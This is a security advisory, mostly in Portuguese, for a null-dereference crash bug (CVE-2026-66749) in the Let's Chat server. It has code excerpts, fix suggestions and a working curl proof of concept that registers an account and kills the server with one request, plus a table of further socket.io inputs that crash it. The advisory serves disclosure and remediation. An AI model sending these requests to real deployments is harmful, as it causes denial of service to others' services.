
Aviso de Segurança: Consulta de Sala Não Verificada Causa Queda do Servidor (Let's Chat)
Assigned CVE ID: CVE-2026-66749
Uma única solicitação HTTP de qualquer conta autenticada derruba o processo do servidor Let's Chat.
GET /messages recebe um parâmetro room, localiza essa sala pelo id e então chama um método no resultado sem verificar se a consulta retornou algo. Envie um id que seja uma string hexadecimal válida de 24 caracteres, mas que não pertença a nenhuma sala, e o TypeError resultante será lançado dentro de um callback do Mongoose. O Express só captura exceções levantadas de forma síncrona dentro de um handler; portanto, essa exceção chega ao Node como uma exceção não capturada e o processo é encerrado.
Repo URL: https://github.com/sdelements/lets-chat
Vulnerável da versão 0.4.0 (commit 84981a6, 21 de fevereiro de 2015, que introduziu a chamada canJoin) até a 0.4.8, o lançamento final. Não existe versão corrigida.
Confirmado na 0.4.8 no commit 617207f, e em docker.io/sdelements/lets-chat:latest (0.4.7), que ainda pode ser obtida publicamente.
CWE-476: NULL Pointer Dereference, levando a CWE-248 Uncaught Exception e CWE-400 Uncontrolled Resource Consumption.
CVSS 4.0 pontuação base 7.1 (Alta)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
O atacante precisa de uma conta de usuário comum e acesso de rede à porta HTTP. Não precisa ser dono ou pertencer a nenhuma sala, conhecer qualquer id de sala existente, nem possuir qualquer função elevada.
O requisito de conta é fraco em uma instalação padrão, porque auth.local.enableRegistration tem o valor padrão true em defaults.yml; assim, qualquer pessoa que consiga acessar a página de login pode criar uma conta e então executar a solicitação.
Nem o Procfile (web: npm start) nem o docker/docker-compose.yml configuram um supervisor ou política de reinício; portanto, em uma implantação padrão, uma única solicitação derruba o serviço até que um operador o reinicie. Quando um operador adicionou supervisão de processos, o atacante pode simplesmente repetir a solicitação.
A rota não registra middleware de validação de sala. app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
Compare com app/controllers/messages.js:34-41, onde a variante com escopo de sala adiciona middlewares.roomRoute, que resolve a sala e retorna 404 quando ela não existe:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
Assim, em /messages, o valor room chega ao gerenciador sem validação. app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById chama o callback com (null, null) quando o id é convertido corretamente, mas não corresponde a nenhum documento. Não há uma proteção if (!room), então a linha 129 desreferencia null.
Saída observada:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
Contra uma instalação padrão na porta 5000, sem alterações de configuração:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
O passo 3 não retorna corpo e o curl sai com o código 52 (resposta vazia do servidor). O processo do servidor foi encerrado. Qualquer id que seja 24 caracteres hexadecimais e não corresponda a nenhuma sala funciona.
express.oi registra cada chave app.io.route(...) como um handler socket.on(...) comum (initRoutes em node_modules/express.oi/lib/index.js). Um cliente socket.io autenticado pode, portanto, chamar esses handlers diretamente, o que ignora a cadeia de middlewares do Express, incluindo roomRoute. Isso também remove o try/catch do Express, de modo que uma exceção síncrona que seria um 500 via HTTP mata o processo via socket.io.
Cada uma das situações a seguir também encerra o processo. Todas confirmadas.
Proteja as consultas. Em app/core/messages.js:118 e app/core/files.js:156:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 precisa do mesmo tratamento antes de chamar sanitizeRoom, e app/core/rooms.js:248 deve rejeitar um options.identifier ausente ou que não seja string.
Duas alterações eliminariam toda a classe de vulnerabilidades, em vez de apenas essas ocorrências. Primeiro, faça a coerção e validação dos parâmetros de consulta que são presumidos como strings (expand, room, id, take, skip) no limite do controlador. Segundo, envolva o despacho dos handlers do socket.io em um try/catch e anexe um handler de process.on('uncaughtException') para que uma única solicitação inválida seja convertida em uma resposta de erro em vez de interromper o servidor.
| Acessível via | Entrada | Local do lançamento |
|---|
| HTTP e socket.io | messages:list, room definido para um id inexistente | app/core/messages.js:129 |
| HTTP e socket.io | files:list, room definido para um id inexistente | app/core/files.js:167 |
| socket.io | rooms:get com um id inexistente, ou sem id | app/core/rooms.js:213 via :234 |
| socket.io | rooms:users sem sala | app/core/rooms.js:248 |
| socket.io | rooms:join sem id | app/core/rooms.js:248 |
| socket.io | messages:list com expand como um array | app/core/messages.js:97 |
| socket.io | files:list com expand como um array | app/core/files.js:139 |
| socket.io | users:get com id como um objeto | app/models/user.js:139 |